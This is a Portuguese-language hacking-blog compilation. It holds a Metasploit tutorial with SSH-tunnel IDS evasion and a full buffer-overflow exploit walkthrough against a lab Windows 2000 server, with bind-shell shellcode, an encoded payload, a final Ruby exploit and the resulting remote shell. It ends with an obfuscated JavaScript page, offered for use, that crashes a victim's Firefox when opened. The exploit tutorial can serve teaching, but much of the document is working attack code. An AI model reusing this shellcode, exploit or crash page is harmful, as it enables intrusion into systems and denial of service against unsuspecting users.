Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma pagina web, todas as funcionalidades aplicaveis estão lá.
Para acederem ao GUI do metasploit façam:

Código :
[root]#./msfweb
+----=[ Metasploit Framework Web Interface (ip:55555)
Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1... Mais a porta 55555

Seria assim: http://localhost:55555

E assim verão a magia desta ferramenta. Um rico GUI onde facilmente qualquer um pode configurar uma sessão completa, sem digitar comandos em consolas. Claro que no alvo vão (ou não) usar a consola, pois é mais...

Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente seleccionando.

Para complementar e devido a essas novas IPS e IDS que detectam padrões de tráfego e podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra dedicado às novas appliances PANDA
Com um tunnel SSH o tráfego vai encriptado e não é possível identificar o mesmo, o que vai dentro dessa sessão.
É uma das mais usadas técnicas de evasão.

Criando uma sessão meterpreter persistente sobre um túnel SSH (integrando com o metasploit)

Creditos
teckV

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

Criando Exploits com ajuda do Metasploit Framework

0x00: intro
Neste guia vou demonstrar como é possível criar exploits de maneira fácil,rápida e com a ajuda da Metasploit Framework 3.É verdade que uma grande quantidade de «script kiddies» usa o metasploit para correr payloads atrás de payloads sobre serviços que encontram a correrem servidores remotos, mas a verdade é que esta é também uma ótima framework para o desenvolvimento de exploits, seja ele para uso doméstico ou mesmo profissional, pois economiza tempo, esforço e oferece-nos um fantástico leque de ferramentas que serão introduzidas ao longo do guia.

0x01: software
Em termos de software irei usar:

• Metasploit Framework (www.metasploit.com)
• Immunity Debbuger (http://www.immunityinc.com/products-immdbg.shtml)
• um interprete de Ruby (http://www.ruby-lang.org/pt/ )
• uma servidor a correr Windows 2000, se bem que pode ser virtual (www.virtualbox.org)
• netcat (man netcat) 

Neste servidor estará a correr um servidor criado para este guia que poderei fornecer por mail.

0x02: requerimentos
Pretende-se neste guia explorar os buffer overflows remotos a uma máquina Windows utilizando o Metasploit 3 para ajudar a desenvolver o exploit. Será fácilentão para a compreensão do mesmo um conhecimento prévio de:

• conhecimento básico de assembly
• uma linguagem de programação à escolha para a escrita do exploit
• conhecimento básico sobre buffer overflows (estrutura da stack, damemória, registos, o ataque, etc..)
• saber usar um debugger

0x03: encontrar o EIP
Uma das técnicas normais para tentar criar um exploit de buffer overflow seria encontrar qual o tamanho da string para que fosse suficiente grande de modo aescrever por cima do RET address do programa.

Executamos o servidor a partir do Immunity, na máquina remota Windows, ecorremos o seguinte código na nossa máquina local:

sploit1.rbputs "A" * 100 + "\r\n"

 Obtendo:

#./sploit1.rb | nc 192.168.56.102 1974

Welcome to SNOW

Username:
 

O programa pára aqui a execução. Voltando ao debugger vê-se que eletrancou ao tentar executar, em EIP, o endereço 0x41414141, que são "AAAA":

E verificamos também no debugger que controlamos dois registos EBP e EIP.

Agora poderíamos ir modificando o número de A's introduzidos até que o fim da nossa string coincidisse exatamente com os 4 bytes do EIP. Isso seria bastante trabalhoso, mas com a ajuda do metasploit podemos descobrir qual olocal exacto do EIP sem recorrer a tentativa e erro.

Para isto usamos a ferramenta

patternoffset , que se encontra na pasta /tools/ da framework metasploit:

# ./tools/pattern_create.rb 100Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

 

Criamos assim uma string com 100 caracteres para nos ajudar a encontrar o sítio exato do EIP. Escrevemos agora o seguinte código para a usar:

sploit2.rbstringmeta ="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
puts stringmeta + "\r\n"

 

Reiniciamos o programa do servidor no debugger, corremos o nosso scriptsploit2.rb e obtemos no servidor, na janela do debugger:

Podemos agora retirar do valor do EIP o endereço: 0x41336341 . Este endereço pode ser introduzido noutra ferramente disponibilizada pelo metasploit, o

patternoffset. Esta ferramenta permite obter, a partir do resultado de uma string gerada pela patterncreate, o offset exato da cadeia de caracteres que procuramos, que faz parte dessa string:

# ./tools/pattern_offset.rb 0x41336341 10069

 

Descobrimos assim que o offset de bytes é 69, ou seja, o EIP está na posição69 da string que usamos, que foi gerada pelo metasploit, para criar o overflow.Geramos agora um script Ruby para substituír exatamente aqueles 4 bytes na posição 69 por um endereço que queiramos, para posteriormente o substituirmos pelo endereço do nosso payload do exploit.

sploit3.rbputs "A" * 69 + [0xf0daf0da].pack('V') + "\r\n"

 

Ou seja, 69 A's e depois um endereço arbitrário (o pack('V') é apenas uma função do Ruby para converter aquele endereço). Reiniciando novamente o programa no debugger no servidor e correndo o exploit na nossa máquina local obtemos o seguinte resultado:

Conseguimos assim escrever com sucesso no local exacto onde se encontra o EIP.

0x04: onde colocar a payload

Agora que conseguimos controlar a posição do EIP será necessário encontrar um local na memória onde possamos colocar a nossa payload.Os exploits remotos têm esta dificuldade acrescentada: não sabemos onde na memória estará o código, qual o espaço que temos para o guardar, já que poderão estar vários processos diferentes dos quais não temos conhecimento nem quando começam a executar.Para isso inventou-se uma técnica que é a de colocar no EIP o endereço de uma instrução simples que salte para um local de memória onde realmente possamos escrever.O pessoal da Microsoft pensou em nós e facilitou-nos a vida dado que, embora não possamos colocar lá o salto, podemos ir busca-lo a uma das bibliotecas(.DLL) que estejam a ser executados no topo da memória (que estão sempre nas mesmas posições o que nos facilitam bastante a vida, principalmente nos servidores Windows 2000 em que não mudam mesmo!).A técnica será então colocar em ESP (que podemos conhecer a posição exata visto que o enchemos com a nossa string criada pelo metasploit) o nosso código da payload e no EIP uma instrução "JMP ESP" que encontramos a ser executada por uma qualquer library do windows.Reiniciamos o programa e no debugger procuramos pelo opcode que forma"JMP ESP": FF E4. Abrimos o mapa da memória (Alt+M) e procuramos (Ctrl+L)pelo "FF E4" mas apenas nos endereços mais altos, onde se encontram as bibliotecas, pois essas não mudam de sítio nunca (obrigado Microsoft):

Podemos ver aqui no endereço : 0x7c2e7993 que temos então os nossos bytes para o JMP, oferecidos pela ADVAPI32.DLL :)Este será então o endereço que colocaremos no EIP para que ele execute o"JMP ESP". Falta-nos então saber qual será o endereço exato do ESP para colocarmos aí o nosso payload. Após a execução do sploit2.rb obtivemos os seguintes valores para os registos:

Como podemos verificar no ESP temos uma representação ASCII do conteúdo do ESP, obrigado Immunity Debugger, que é "c4Ac...", que era uma porção da string gerada pelo pattern_create.rb do metasploit. Utilizaremos novamente o pattern_offset para saber qual o offset em que se encontram, por exemplo, os quatro bytes "c4Ac":

# ./tools/pattern_offset.rb "c4Ac" 10073
73  

Ou seja, sabemos que o ESP está na posição 73 da nossa string. Imaginando que o nosso payload era um simples "INT 3", que a única coisa que faz é dizer ao debugger para parar ali, ou seja um debugging breakpoint, dado pelo código 0xCC podemos gerar o seguinte código:

sploit4.rbJMP_ESP=[0x7c2e7993 ].pack('V')

INT3 = "\xCC"puts "A" * 69 + JMP_ESP + "B"*4 + INT3 +"\r\n"

Reiniciamos o programa no debugger, corremos o nosso exploit na nossa máquina e:

Isto porque adicionamos 69 A's, chegando à posição 69 (EIP), colocamos o endereço da instrução "JMP ESP", adicionamos 4 B's, chegando à posição 73(ESP) colocamos o INT 3 e o debugger parou. Sabemos então que podemos colocar nesta posição o nosso payload.


0x05: gerando e codificando o payload

 O metasploit tem uma enorme e doentia base de dados de payloads para os vários sistemas operativos. O comando chama-se msfpayload:

# ./msfpayload -hUsage: ./msfpayload <payload> [var=val]<[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[D]ll|[V]BA|[W]ar>

 Existem praticamente 300 payloads diferentes, desde executar comandos,adicionar utilizadores, fazer spawn de uma shell, colocar uma backdoor àescuta, criar um executável e fazer o upload, etc.. etc.. é uma questão de explorarem. Nós iremos usar o mais simples chamado:windows/shell_bind_TCP que no fundo coloca uma shell na máquina remota à escuta na porta 4444 (por defeito, o que pode ser mudado).Estamos a programar em Ruby neste guia, mas esta utilidade gera o código,como podemos ver na ajudam para C, Perl, Java, um executável, um DLL, etc..utilizaremos então a opção "y" para gerar o código Ruby:

# ./msfpayload windows/shell_bind_tcp y

# windows/shell_bind_tcp - 341 bytes

# http://www.metasploit.com# LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=,# AutoRunScript=buf ="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +"\x6a\x00\x53\xff\xd5"

Mas como podemos ver, este shellcode contem opcodes proibitivos para quem está a tentar criar um exploit através de uma string: \x00 (nullbyte) que é usado para terminar qualquer string, \x0d (carriage return), \0x0a (new line), etc.. ouseja uma série de caracteres que deveríamos evitar, dado que estamos aexecutar em memória não nos podemos dar ao luxo que o programa, depois decorrer o exploit, encontre na memória um 0x00 e parar de executar o shellcode.Para isto existe a ferramenta msfenconde, também da framework metasploit,que codifica o código de forma a esconder estes tipos de caracteres com um código diferente. Por exemplo para esconder um incremento de 5 de uma variável, ele faz com que se incremente 5 vezes uma unidade a essa variável.Para isso teremos então de especificar quais os bytes que achamos que devem ser substituídos e também devemos, para isto, pedir ao msfpayload a shellcode em R(aw):

# ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"

[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)buf ="\x2b\xc9\xbe\x90\x99\xb6\x51\xb1\x56\xda\xde\xd9\x74\x24" +"\xf4\x58\x83\xc0\x04\x31\x70\x0c\x03\x70\x0c\x72\x6c\x4a" +
"\xb9\xfb\x8f\xb3\x3a\x9b\x06\x56\x0b\x89\x7d\x12\x3e\x1d" +"\xf5\x76\xb3\xd6\x5b\x63\x40\x9a\x73\x84\xe1\x10\xa2\xab" +"\xf2\x95\x6a\x67\x30\xb4\x16\x7a\x65\x16\x26\xb5\x78\x57" +"\x6f\xa8\x73\x05\x38\xa6\x26\xb9\x4d\xfa\xfa\xb8\x81\x70" +"\x42\xc2\xa4\x47\x37\x78\xa6\x97\xe8\xf7\xe0\x0f\x82\x5f" +"\xd1\x2e\x47\xbc\x2d\x78\xec\x76\xc5\x7b\x24\x47\x26\x4a" +"\x08\x0b\x19\x62\x85\x52\x5d\x45\x76\x21\x95\xb5\x0b\x31" +"\x6e\xc7\xd7\xb4\x73\x6f\x93\x6e\x50\x91\x70\xe8\x13\x9d" +"\x3d\x7f\x7b\x82\xc0\xac\xf7\xbe\x49\x53\xd8\x36\x09\x77" +"\xfc\x13\xc9\x16\xa5\xf9\xbc\x27\xb5\xa6\x61\x8d\xbd\x45" +"\x75\xb7\x9f\x01\xba\x85\x1f\xd2\xd4\x9e\x6c\xe0\x7b\x34" +"\xfb\x48\xf3\x92\xfc\xaf\x2e\x62\x92\x51\xd1\x92\xba\x95" +"\x85\xc2\xd4\x3c\xa6\x89\x24\xc0\x73\x1d\x75\x6e\x2c\xdd" +"\x25\xce\x9c\xb5\x2f\xc1\xc3\xa5\x4f\x0b\x72\xe2\x81\x6f" +"\xd6\x84\xe3\x8f\xc8\x08\x6d\x69\x80\xa0\x3b\x21\x3d\x02" +"\x18\xfa\xda\x7d\x4a\x56\x72\xe9\xc2\xb0\x44\x16\xd3\x96" +"\xe6\xbb\x7b\x71\x7d\xd7\xbf\x60\x82\xf2\x97\xeb\xba\x94" +"\x62\x82\x09\x05\x72\x8f\xfa\xa6\xe1\x54\xfb\xa1\x19\xc3" +"\xac\xe6\xec\x1a\x38\x1a\x56\xb5\x5f\xe7\x0e\xfe\xe4\x33" +"\xf3\x01\xe4\xb6\x4f\x26\xf6\x0e\x4f\x62\xa2\xde\x06\x3c" +"\x1c\x98\xf0\x8e\xf6\x72\xae\x58\x9f\x03\x9c\x5a\xd9\x0c" +"\xc9\x2c\x05\xbc\xa4\x68\x39\x70\x21\x7d\x42\x6d\xd1\x82" +"\x99\x36\xe1\xc8\x80\x1e\x6a\x95\x50\x23\xf7\x26\x8f\x67" +"\x0e\xa5\x3a\x17\xf5\xb5\x4e\x12\xb1\x71\xa2\x6e\xaa\x17" +"\xc4\xdd\xcb\x3d\xce"

Como se pode ver, às custas de um incremento no tamanho do shellcode,conseguimos o mesmo código mas sem os bytes que decidimos excluir para não inviabilizar o nosso ataque. Sinceramente acho isto puramente genial.Modificando assim o nosso exploit para uma versão final:

sploit5.rb
JMP_ESP=[0x7c2e7993 ].pack('V')PAYLOAD ="\x2b\xc9\xbe\x90\x99\xb6\x51\xb1\x56\xda\xde\xd9\x74\x24" +"\xf4\x58\x83\xc0\x04\x31\x70\x0c\x03\x70\x0c\x72\x6c\x4a" +"\xb9\xfb\x8f\xb3\x3a\x9b\x06\x56\x0b\x89\x7d\x12\x3e\x1d" +"\xf5\x76\xb3\xd6\x5b\x63\x40\x9a\x73\x84\xe1\x10\xa2\xab" +"\xf2\x95\x6a\x67\x30\xb4\x16\x7a\x65\x16\x26\xb5\x78\x57" +"\x6f\xa8\x73\x05\x38\xa6\x26\xb9\x4d\xfa\xfa\xb8\x81\x70" +"\x42\xc2\xa4\x47\x37\x78\xa6\x97\xe8\xf7\xe0\x0f\x82\x5f" +"\xd1\x2e\x47\xbc\x2d\x78\xec\x76\xc5\x7b\x24\x47\x26\x4a" +"\x08\x0b\x19\x62\x85\x52\x5d\x45\x76\x21\x95\xb5\x0b\x31" +"\x6e\xc7\xd7\xb4\x73\x6f\x93\x6e\x50\x91\x70\xe8\x13\x9d" +"\x3d\x7f\x7b\x82\xc0\xac\xf7\xbe\x49\x53\xd8\x36\x09\x77" +"\xfc\x13\xc9\x16\xa5\xf9\xbc\x27\xb5\xa6\x61\x8d\xbd\x45" +"\x75\xb7\x9f\x01\xba\x85\x1f\xd2\xd4\x9e\x6c\xe0\x7b\x34" +"\xfb\x48\xf3\x92\xfc\xaf\x2e\x62\x92\x51\xd1\x92\xba\x95" +"\x85\xc2\xd4\x3c\xa6\x89\x24\xc0\x73\x1d\x75\x6e\x2c\xdd" +"\x25\xce\x9c\xb5\x2f\xc1\xc3\xa5\x4f\x0b\x72\xe2\x81\x6f" +"\xd6\x84\xe3\x8f\xc8\x08\x6d\x69\x80\xa0\x3b\x21\x3d\x02" +"\x18\xfa\xda\x7d\x4a\x56\x72\xe9\xc2\xb0\x44\x16\xd3\x96" +"\xe6\xbb\x7b\x71\x7d\xd7\xbf\x60\x82\xf2\x97\xeb\xba\x94" +"\x62\x82\x09\x05\x72\x8f\xfa\xa6\xe1\x54\xfb\xa1\x19\xc3" +"\xac\xe6\xec\x1a\x38\x1a\x56\xb5\x5f\xe7\x0e\xfe\xe4\x33" +"\xf3\x01\xe4\xb6\x4f\x26\xf6\x0e\x4f\x62\xa2\xde\x06\x3c" +
"\x1c\x98\xf0\x8e\xf6\x72\xae\x58\x9f\x03\x9c\x5a\xd9\x0c" +"\xc9\x2c\x05\xbc\xa4\x68\x39\x70\x21\x7d\x42\x6d\xd1\x82" +"\x99\x36\xe1\xc8\x80\x1e\x6a\x95\x50\x23\xf7\x26\x8f\x67" +"\x0e\xa5\x3a\x17\xf5\xb5\x4e\x12\xb1\x71\xa2\x6e\xaa\x17" +"\xc4\xdd\xcb\x3d\xce"puts "A" * 69 + JMP_ESP + "B"*4 + PAYLOAD + "\r\n"

E podemos ver que não acontece nada. Abrindo outro terminal e tentando conectar à porta 4444:

# telnet 192.168.56.102 4444
Trying 192.168.56.102...Connected to192.168.56.102.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3016-C74B
Directory of C:\Documents and Settings\Administrator\Desktop
10/01/2010 01:32p <DIR> .
10/01/2010 01:32p <DIR> ..
10/01/2010 01:27p 250,839 demo.exe
10/01/2010 01:32p 13,684,370 ImmunityDebugger_1_73_setup.exe
2 File(s) 13,935,209 bytes2 Dir(s) 3,112,681,472 bytes free
C:\Documents and Settings\Administrator\Desktop> 

Obtemos assim acesso à máquina através desta backdoor instalada com o shellcode obtido pelo metasploit.


0x06: conclusões
 Podemos assim ver que com o auxílio do metasploit framework, um pouco de reverse engeneering, uma linguagem de programação simples podemos criar exploits simples e eficazes.As ferramentas disponíbilizadas pela Metasploit Framework são na verdade um enorme auxílio para quem quer escrever exploits.Alguma dúvida são bem vindos em enviar-me um e-mail.
.... pr0misc

Ferramentas hackers

Meu sky-drive com algumas ferramentas hackers,  vale a pena conferir hahaa :D
Clique aqui

Exploit para firefox

Novo exploit pra travar o Firefox Funcionando ! Testado : 25/11/2011 

<STYLE TYPE="text/css">
<!--
H2
{
color:green;
font-size:80pt;
font-style:italic;
}
-->
</STYLE>
<script type="text/javascript">
String.prototype.repeat = function( num )
{return new Array( num + 1 ).join( this );}
var i=0;
var r=Math.floor(Math.random()*99999)*9*8*9*9*9*9*9*9* 9/9*9;
var bib=String.fromCharCode(60, 72, 50, 62, 60, 77, 65, 82, 81, 85,
69, 69, 32, 87, 73, 68, 84, 72, 61, 49, 48, 48, 37, 32, 66, 69, 72,
65, 86, 73, 79, 82, 61, 83, 67, 82, 79, 76, 76, 32, 68, 73, 82, 69,
67, 84, 73, 79, 78, 61, 82, 73, 71, 72, 84, 32, 66, 71, 67, 111, 108,
111, 114, 61, 121, 101, 108, 108, 111, 119, 62, 60, 105, 110, 112,
117, 116, 32, 116, 121, 112, 101, 61, 115, 117, 98, 109, 105, 116,
32, 118, 97, 108, 117, 101, 61)+r+String.fromCharCode(32, 115, 116
, 121, 108, 101, 61, 34, 98, 97, 99, 107, 103, 114, 111, 117, 110,
100, 45, 99, 111, 108, 111, 114, 58, 98, 108, 97, 99, 107, 34, 32,
62, 60, 47, 77, 65, 82, 81, 85, 69, 69, 62, 60, 47, 72, 50, 62);
document.write(bib.repeat(99999));
</script>

Creditos : ITsecTeam .

Como usar :
Salve esse texto como HTML , ou hospede em alguma pagina , e assim que a vítima abrir seu firefox vai travar.